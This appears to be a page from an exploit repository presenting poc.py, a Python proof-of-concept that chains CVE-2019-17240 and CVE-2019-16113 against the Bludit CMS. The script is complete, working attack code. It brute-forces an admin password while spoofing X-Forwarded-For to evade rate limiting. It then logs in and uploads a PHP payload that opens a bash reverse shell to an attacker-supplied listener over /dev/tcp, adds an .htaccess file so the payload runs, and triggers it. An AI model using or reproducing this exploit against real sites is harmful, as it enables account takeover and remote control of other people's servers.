4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/env python

import requests
import re
import argparse
import string
import random

# PoC combining CVE-2019-17240 & CVE-2019-16113
# Based on work by @hg8, @christasa, kisho64

# Global session - shared across all functions (like the working script)
session = requests.Session()
def banner():
    return """
     _ _____             ___            _ 
  __| |___ /_   ___ __  / _ \ _ __ ___ (_)
 / _` | |_ \ \ / / '_ \| | | | '_ ` _ \| |
| (_| |___) \ V /| | | | |_| | | | | | | |
 \__,_|____/ \_/ |_| |_|\___/|_| |_| |_|_|

    This exploit combines CVE-2019-17240 & CVE-2019-16113 to gain remote shell on target.

    Created by: d3vn0mi
    """
print(banner())
def get_csrf_token(target):
    """Get CSRF token from a page"""
    request = session.get(target)
    match = re.search(r'tokenCSRF"\s*value="([^"]+)"', request.text)
    if match:
        return match.group(1)
    return None


def bruteforce_password(target_url, username, passwords):
    """
    Bruteforce passwords with X-Forwarded-For bypass for rate limiting
    Returns the correct password or None
    """
    for num, password in enumerate(passwords):
        try:
            # Create new session for each attempt (like working script)
            bf_session = requests.Session()
            login_page = bf_session.get(target_url)
            csrf_token = re.search(
                r'tokenCSRF"\s*value="([^"]+)"', login_page.text
            ).group(1)

            headers = {
                'X-Forwarded-For': str(num),
                'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) '
                              'AppleWebKit/537.36 (KHTML, like Gecko) '
                              'Chrome/77.0.3865.90 Safari/537.36',
                'Referer': target_url
            }
            data = {
                'tokenCSRF': csrf_token,
                'username': username,
                'password': password
            }

            response = bf_session.post(
                target_url, headers=headers, data=data, allow_redirects=False
            )

            print(f"[*] Trying: {password}")

            if 'location' in response.headers:
                if '/admin/dashboard' in response.headers['location']:
                    print(f"[+] Password found: {username}:{password}")
                    return password

        except Exception:
            pass

    return None


def login(target_url, username, password):
    """
    Login using the global session (with redirects allowed)
    This establishes the authenticated session for subsequent requests
    """
    csrf_token = get_csrf_token(target_url)

    try:
        # Allow redirects - this is key to establishing the session
        request = session.post(
            target_url,
            data={
                'tokenCSRF': csrf_token,
                'username': username,
                'password': password
            }
        )

        if re.search(r"<title>Bludit - Dashboard</title>", request.text):
            return True
        else:
            return False

    except Exception as e:
        print(f"[!] Login error: {e}")
        return False


def upload_file(payload, payload_name, upload_url, csrf_url):
    """Upload a file using the authenticated global session"""
    csrf_token = get_csrf_token(csrf_url)

    # Format matching the working script exactly
    upload_data = {
        'images[]': (payload_name, payload),
        'uuid': (None, ''),
        'tokenCSRF': (None, csrf_token)
    }

    try:
        response = session.post(upload_url, files=upload_data)
        if response.status_code == 200:
            print(f"[+] Uploaded: {payload_name}")
            return True
        else:
            print(f"[!] Failed to upload {payload_name}: "
                  f"{response.status_code}")
            print(f"[!] Response: {response.text[:200]}")
            return False
    except Exception as e:
        print(f"[!] Upload error: {e}")
        return False


def trigger_shell(shell_url):
    """Trigger the uploaded shell and exit gracefully"""
    print(f"[*] Triggering shell at: {shell_url}")
    try:
        requests.get(shell_url, timeout=10)
    except requests.exceptions.Timeout:
        # Timeout is expected - shell connects and doesn't return HTTP response
        pass
    except requests.exceptions.ConnectionError:
        # Connection error might mean shell established
        pass
    except Exception:
        pass

    print("[+] Shell triggered successfully!")
    print("[+] Reverse shell should be connected to your listener.")
    print("[+] Exiting gracefully...")


if __name__ == '__main__':
    parser = argparse.ArgumentParser(
        description='Bludit RCE PoC (CVE-2019-17240 + CVE-2019-16113)'
    )
    parser.add_argument('url', help='Target URL (e.g., http://target.com)')
    parser.add_argument('user', help='Admin username')
    parser.add_argument('listener_ip', help='IP address of the listener')
    parser.add_argument('--password', '-p', help='Single password to try')
    parser.add_argument('--password-file', '-P',
                        help='File containing passwords (one per line)')
    parser.add_argument('--port', type=int, default=8585,
                        help='Port of the listener (default: 8585)')
    parser.add_argument('--delay', '-d', type=float, default=0.0,
                        help='Delay in seconds between attempts (default: 0)')

    args = parser.parse_args()

    if not args.password and not args.password_file:
        parser.error("Either --password or --password-file must be provided")

    url = args.url.rstrip('/')
    username = args.user
    listener_ip = args.listener_ip
    listener_port = args.port

    # URLs
    login_url = f"{url}/admin/login"
    upload_url = f"{url}/admin/ajax/upload-images"
    csrf_url = f"{url}/admin/new-content"

    # Generate random payload name
    payload_name = ''.join(
        random.choice(string.ascii_letters) for _ in range(10)
    ) + '.php'

    # Payloads
    shell_payload = (
        f'<?php exec("/bin/bash -c \'bash -i >& /dev/tcp/'
        f'{listener_ip}/{listener_port} 0>&1\'");'
    )
    htaccess_payload = 'RewriteEngine on\nRewriteRule ^.*$ -'

    shell_url = f"{url}/bl-content/tmp/{payload_name}"

    # Get passwords
    if args.password:
        passwords = [args.password]
        print("[*] Using single password")
    else:
        try:
            with open(args.password_file, 'r') as f:
                passwords = [line.strip() for line in f if line.strip()]
        except FileNotFoundError:
            print(f"[!] Password file not found: {args.password_file}")
            exit(1)
        print(f"[*] Loaded {len(passwords)} passwords from file")

    # Step 1: Bruteforce to find password
    print(f"\n[*] Starting password bruteforce against {login_url}")
    found_password = bruteforce_password(login_url, username, passwords)

    if not found_password:
        print("[!] No valid password found. Exiting.")
        exit(1)

    # Step 2: Login with global session (this establishes auth for uploads)
    print("\n[*] Logging in with found credentials...")
    if login(login_url, username, found_password):
        print("[+] Login successful!")
    else:
        print("[!] Login failed. Exiting.")
        exit(1)

    # Step 3: Upload shell and htaccess
    print("\n[*] Uploading shell...")
    upload_file(shell_payload, payload_name, upload_url, csrf_url)
    upload_file(htaccess_payload, '.htaccess', upload_url, csrf_url)

    # Step 4: Trigger shell
    print("\n[*] Executing payload...")
    trigger_shell(shell_url)

    # Exit gracefully with success code
    exit(0)